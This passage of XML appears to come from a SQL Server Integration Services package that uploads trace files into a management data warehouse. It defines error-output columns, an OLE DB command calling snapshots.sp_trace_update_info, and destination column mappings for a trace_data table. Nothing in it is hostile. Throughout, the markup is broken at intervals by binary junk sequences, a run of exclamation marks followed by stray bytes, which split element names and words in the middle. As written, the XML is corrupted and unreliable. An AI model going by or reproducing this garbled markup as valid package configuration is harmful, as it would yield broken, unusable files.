dataType="i8" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ObjectID2]" name="ObjectID2"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Type]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Type]" name="Type"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[OwnerID]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[OwnerID]" name="OwnerID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ParentName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ParentName]" name="ParentName"/><outputColumn refId="Package\For Loop 	!!!!!!!!!!!!!!!!!!!!!!!!`2x6W_HvContainer\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IsSystem]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[IsSystem]" name="IsSystem"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Offset]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[Offset]" name="Offset"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SourceDatabaseID]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SourceDatabaseID]" name="SourceDatabaseID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SqlHandle]" dataType="image" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SqlHandle]" name="SqlHandle"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SessionLoginName]" dataType="wstr" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[SessionLoginName]" name="SessionLoginName"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[PlanHandle]" dataType="image" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[PlanHandle]" name="PlanHandle"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[GroupID]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[GroupID]" name="GroupID"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info" componentClassID="{93FFEC66-CBC8-4C7F-9C6A-CB1C17A7567D}" contac	!!!!!!!!!!!!!!!!!!!!!!!!`2x@eHvtInfo="OLE DB Command;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;2" description="Executes an SQL command for each row in a dataset." name="ODB - Update trace_info" usesDispositions="true" version="2"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="The SQL command to be executed." expressionType="Notify" name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">{call snapshots.sp_trace_update_info(?, ?, ?, ?, ?, ?)}</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property></properties><connections><connection refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input]" errorOrTruncationOperation="Command Execution" errorRowDisposition="FailComponent" hasSideEffects="true" name="OLE DB Command Input"><inputColumns><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[trace_info_id]" cachedDataType="i4" cachedName="trace_info_id" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@trace_info_id]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[trace_info_id]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@snapshot_id]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[snapshot_id]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[is_running]" cachedDataType="i4" cachedName="is_running" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@is_running]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[is_running]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[event_count]" cachedDataType="ui8" cachedName="event_count" externalMetadataColumnId="Package\For Loop Contai	!!!!!!!!!!!!!!!!!!!!!!!!`2x(4=Hvner\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@event_count]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[event_count]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[dropped_event_count]" cachedDataType="i4" cachedName="dropped_event_count" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@dropped_event_count]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[dropped_event_count]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].Columns[last_event_sequence]" cachedDataType="i8" cachedName="last_event_sequence" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@last_event_sequence]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[last_event_sequence]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@trace_info_id]" dataType="i4" name="@trace_info_id"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@snapshot_id]" dataType="i4" name="@snapshot_id"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@is_running]" dataType="bool" name="@is_running"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">65</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@event_count]" dataType="i8" name="@event_count"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@dropped_event_count]" dataType="i4" name="@dropped_event_count"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn><exter	!!!!!!!!!!!!!!!!!!!!!!!!`2iHvnalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input].ExternalColumns[@last_event_sequence]" dataType="i8" name="@last_event_sequence"><properties><property dataType="System.Int32" description="Parameter information.  Matches OLE DB's DBPARAMFLAGSENUM values." name="DBParamInfoFlags">81</property></properties></externalMetadataColumn></externalMetadataColumns></input></inputs><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Outputs[OLE DB Command Output]" exclusionGroup="1" name="OLE DB Command Output" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input]"><externalMetadataColumns/></output><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Outputs[OLE DB Command Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Command Error Output" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Inputs[OLE DB Command Input]"><outputColumns><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Outputs[OLE DB Command Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Outputs[OLE DB Command Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Outputs[OLE DB Command Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Update trace_info.Outputs[OLE DB Command Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table" componentClassID="{4ADA7EAA-136C-4215-8098-D7A7C27FC0D1}" contactInfo="OLE DB Destination;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;4" description="OLE DB Destination" name="ODB - Write to output table" usesDispositions="true" validateExternalMetadata="False" version="4"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset">[snapshots].[trace_data]</property><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysU	!!!!!!!!!!!!!!!!!!!!!!!!`2-cJHvseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.Boolean" description="Indicates whether the values supplied for identity columns will be copied to the destination. If false, values for identity columns will be auto-generated at the destination. Applies only if fast load is turned on." name="FastLoadKeepIdentity">false</property><property dataType="System.Boolean" description="Indicates whether the columns containing null will have null inserted in the destination. If false, columns containing null will have their default values inserted at the destinaton. Applies only if fast load is turned on." name="FastLoadKeepNulls">false</property><property dataType="System.String" description="Specifies options to be used with fast load.  Applies only if fast load is turned on." name="FastLoadOptions">CHECK_CONSTRAINTS</property><property dataType="System.Int32" description="Specifies when commits are issued during data insertion.  A value of 0 specifies that one commit will be issued at the end of data insertion.  Applies only if fast load is turned on." name="FastLoadMaxInsertCommitSize">0</property></properties><connections><connection refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input]" errorOrTruncationOperation="Insert" errorRowDisposition="IgnoreFailure" hasSideEffects="true" name="OLE DB Destination Input"><inputColumns><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[TextData]" cachedDataType="nText" cachedName="TextData" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TextData]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TextData]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[BinaryData]" cachedDataType="image" cachedName="BinaryData" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BinaryData]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BinaryData]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[DatabaseID]" cachedDataType="i4" cachedName="DatabaseID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DatabaseID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseID]"/><inputColumn refId="Package\For Loop Container\FEF -	!!!!!!!!!!!!!!!!!!!!!!!!`2,Hv For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[TransactionID]" cachedDataType="i8" cachedName="TransactionID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TransactionID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TransactionID]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[LineNumber]" cachedDataType="i4" cachedName="LineNumber" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LineNumber]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LineNumber]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[NTUserName]" cachedDataType="wstr" cachedLength="256" cachedName="NTUserName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NTUserName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTUserName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[NTDomainName]" cachedDataType="wstr" cachedLength="256" cachedName="NTDomainName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NTDomainName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTDomainName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[HostName]" cachedDataType="wstr" cachedLength="256" cachedName="HostName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[HostName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[HostName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ClientProcessID]" cachedDataType="i4" cachedName="ClientProcessID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ClientProcessID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ClientProcessID]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB -	!!!!!!!!!!!!!!!!!!!!!!!!`2!ЂHv Write to output table.Inputs[OLE DB Destination Input].Columns[ApplicationName]" cachedDataType="wstr" cachedLength="256" cachedName="ApplicationName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ApplicationName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ApplicationName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[LoginName]" cachedDataType="wstr" cachedLength="256" cachedName="LoginName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LoginName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[SPID]" cachedDataType="i4" cachedName="SPID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SPID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SPID]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Duration]" cachedDataType="i8" cachedName="Duration" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Duration]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Duration]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[StartTime]" cachedDataType="dbTimeStamp" cachedName="StartTime" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[StartTime]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[StartTime]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[EndTime]" cachedDataType="dbTimeStamp" cachedName="EndTime" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EndTime]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EndTime]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Reads]" cachedDataType="i8" cachedName="Reads" externalMetadataColumnId="Pac	!!!!!!!!!!!!!!!!!!!!!!!!`2%0JHvkage\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Reads]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Reads]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Writes]" cachedDataType="i8" cachedName="Writes" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Writes]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Writes]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[CPU]" cachedDataType="i4" cachedName="CPU" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[CPU]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[CPU]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Permissions]" cachedDataType="i8" cachedName="Permissions" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Permissions]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Permissions]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Severity]" cachedDataType="i4" cachedName="Severity" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Severity]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Severity]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[EventSubClass]" cachedDataType="i4" cachedName="EventSubClass" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventSubClass]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSubClass]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ObjectID]" cachedDataType="i4" cachedName="ObjectID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectID]" lineageId="Package\For Loop Conta	!!!!!!!!!!!!!!!!!!!!!!!!`2)*hHviner\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Success]" cachedDataType="i4" cachedName="Success" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Success]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Success]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[IndexID]" cachedDataType="i4" cachedName="IndexID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IndexID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IndexID]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[IntegerData]" 